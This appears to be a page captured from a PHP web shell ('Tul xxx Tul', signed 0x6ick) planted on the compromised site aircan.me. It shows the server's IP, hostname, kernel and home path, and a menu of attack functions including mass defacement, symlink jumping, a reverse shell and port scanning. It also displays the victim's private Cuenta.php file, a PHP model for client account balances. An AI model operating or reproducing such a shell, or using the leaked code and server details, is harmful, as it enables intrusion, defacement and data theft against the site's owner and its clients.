Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
aircan3
/
app
/
models
/
Viewing: Cuenta.php
<?php /** * Modelo Cuenta - Gestión de saldos del cliente */ class Cuenta extends Model { /** * Obtener cuenta por cliente */ public function getByCliente(int $clienteId): array|false { $sql = "SELECT * FROM cuentas WHERE cliente_id = :cliente_id LIMIT 1"; return $this->fetchOne($sql, ['cliente_id' => $clienteId]); } /** * Actualizar saldo total del cliente */ public function setSaldoTotal(int $clienteId, float $saldoTotal): void { $cuenta = $this->getByCliente($clienteId); if (!$cuenta) { // Crear cuenta si no existe $sql = "INSERT INTO cuentas (cliente_id, saldo_total, saldo_pendiente) VALUES (:cliente_id, :saldo_total, :saldo_pendiente)"; $this->query($sql, [ 'cliente_id' => $clienteId, 'saldo_total' => $saldoTotal, 'saldo_pendiente' => $saldoTotal, ]); } else { $saldoPendiente = $saldoTotal - $cuenta['saldo_pagado']; $sql = "UPDATE cuentas SET saldo_total = :saldo_total, saldo_pendiente = :saldo_pendiente WHERE cliente_id = :cliente_id"; $this->query($sql, [ 'saldo_total' => $saldoTotal, 'saldo_pendiente' => max(0, $saldoPendiente), 'cliente_id' => $clienteId, ]); } } /** * Recalcular saldos del cliente a partir de los pagos registrados */ public function recalcularSaldos(int $clienteId): void { // Sumar todos los pagos $sqlPagos = "SELECT COALESCE(SUM(monto), 0) AS total_pagado FROM pagos WHERE cliente_id = :cliente_id"; $result = $this->fetchOne($sqlPagos, ['cliente_id' => $clienteId]); $totalPagado = (float) $result['total_pagado']; // Obtener saldo total $cuenta = $this->getByCliente($clienteId); if (!$cuenta) return; $saldoPendiente = max(0, $cuenta['saldo_total'] - $totalPagado); $sql = "UPDATE cuentas SET saldo_pagado = :saldo_pagado, saldo_pendiente = :saldo_pendiente WHERE cliente_id = :cliente_id"; $this->query($sql, [ 'saldo_pagado' => $totalPagado, 'saldo_pendiente' => $saldoPendiente, 'cliente_id' => $clienteId, ]); } }
Coded With 💗 by
0x6ick